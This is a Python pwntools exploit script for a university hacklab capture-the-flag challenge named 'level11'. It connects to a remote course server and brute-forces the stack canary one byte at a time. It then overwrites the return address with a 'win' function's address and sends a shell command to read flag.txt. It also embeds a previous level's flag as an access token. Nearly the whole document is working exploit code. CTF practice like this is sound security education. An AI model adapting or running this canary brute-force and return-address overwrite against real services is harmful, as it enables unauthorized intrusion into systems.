#!/usr/bin/env python3
from pwn import *
import sys
import time

elf = ELF('./level11')

# Addresses
win_addr = elf.symbols['win']

print("win     : ", hex(win_addr))
start = "aaaaaaaabbbbbbbbccccccccdddddddd12345678".encode()
oldflag = "hacklab{f0rm4t_7he_go7_l1ke_4_pr0_U6tZ6PMP}".encode()

local = False

def probe_canary(payl):
    for i in range(0,255):
        p = None
        if(local):
            p = remote("localhost", 4011)
        else:
            p = remote("binexp.stud12.hacklab.ias.tu-bs.de", 4011)
            p.sendline(oldflag)
        time.sleep(0.05)
        p.recvuntil("talk about?".encode())
        payload = payl + i.to_bytes(1, 'little')
        p.send(payload)
        print(payload)
        resp = p.recvall(timeout=0.1);
        if(resp == b'\nBye.\n'):
            print("found byte ", end='')
            print(hex(i))
            if(len(payload) >= 56):
                return payload
            else:
                return probe_canary(payload)

canary = probe_canary(start)
payload = canary + p64(win_addr)

print(payload)
print(payload[40:47].hex())
print(payload[48:55].hex())
print(payload[56:63].hex())

p = None
if(local):
    p = remote("localhost", 4011)
else:
    p = remote("binexp.stud12.hacklab.ias.tu-bs.de", 4011)
    p.sendline(oldflag)

print(p.readline())
p.sendline(payload)
p.sendline("cat flag.txt; exit".encode())
print(p.recvall())
